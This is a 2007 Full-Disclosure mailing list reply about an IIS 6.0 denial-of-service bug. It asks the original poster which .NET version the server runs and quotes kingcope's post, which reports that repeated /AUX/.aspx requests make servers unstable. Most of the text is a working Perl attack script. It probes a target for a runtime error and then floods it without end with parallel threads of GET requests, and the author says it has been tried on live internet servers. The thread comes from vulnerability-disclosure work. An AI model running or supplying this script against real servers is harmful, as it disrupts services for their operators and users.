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Re: Question Regarding IIS 6.0 / Is this a DoS???


From: "Stan Bubrouski" <stan.bubrouski () gmail com>
Date: Tue, 22 May 2007 11:06:59 -0400

What version of the .NET framework is running on the server? 1.1.x,
2.0.x, or 3.0.x?

-sb

On 5/22/07, kingcope <kingcope () gmx net> wrote:
Hello List,

Recently I saw a small bug in IIS 6.0 when requesting a special path.
When I request /AUX/.aspx the server takes a bit longer to respond as
Normally. So I did write an automated script to see what happens if
I request this file several times at once. The result is that some servers
On the internet get quite instable, some do not. On some servers after I
Stop the attack I get an exception that the Server is too busy/Unhandled
Exception on the wwwroot (/) path.
Can you/the list confirm that?

Here is a lame testing script for this stuff:





#When sending multiple parallel GET requests to a IIS 6.0 server requesting
#/AUX/.aspx the server gets instable and non responsive. This happens only
#to servers which respond a runtime error (System.Web.HttpException)
#and take two or more seconds to respond to the /AUX/.aspx GET request.
#
#
#signed,
#Kingcope kingcope () gmx net
##########################################################################
###***********************************************************************
###
###
###
### Lame Internet Information Server 6.0 Denial Of Service (nonpermanent)
### by Kingcope, May/2007
### Better run this from a Linux system
##########################################################################

use IO::Socket;
use threads;

if ($ARGV[0] eq "") { exit; }
my $host = $ARGV[0];

$|=1;

sub sendit {
$sock = IO::Socket::INET->new(PeerAddr => $host,
                              PeerPort => 'http(80)',
                              Proto    => 'tcp');

print $sock "GET /AUX/.aspx HTTP/1.1\r\nHost:
$host\r\nConnection:close\r\n\r\n";
}

$sock = IO::Socket::INET->new(PeerAddr => $host,
                              PeerPort => 'http(80)',
                              Proto    => 'tcp');

print $sock "GET /AUX/.aspx HTTP/1.1\r\nHost:
$host\r\nConnection:close\r\n\r\n";

$k=0;
while (<$sock>) {
        if (($_ =~ /Runtime\sError/) || ($_ =~ /HttpException/)) {
                        $k=1;
                        last;
        }
}

if ($k==0) {
        print "Server does not seem vulnerable to this attack.\n";
        exit;
}

print "ATTACK!\n";

while(1){

for (my $i=0;$i<=100;$i++) {
        $thr = threads->new(\&sendit);
        print "\r\r\r$i/100                        ";
}

foreach $thr (threads->list) {
        $thr->join;
}
}


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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


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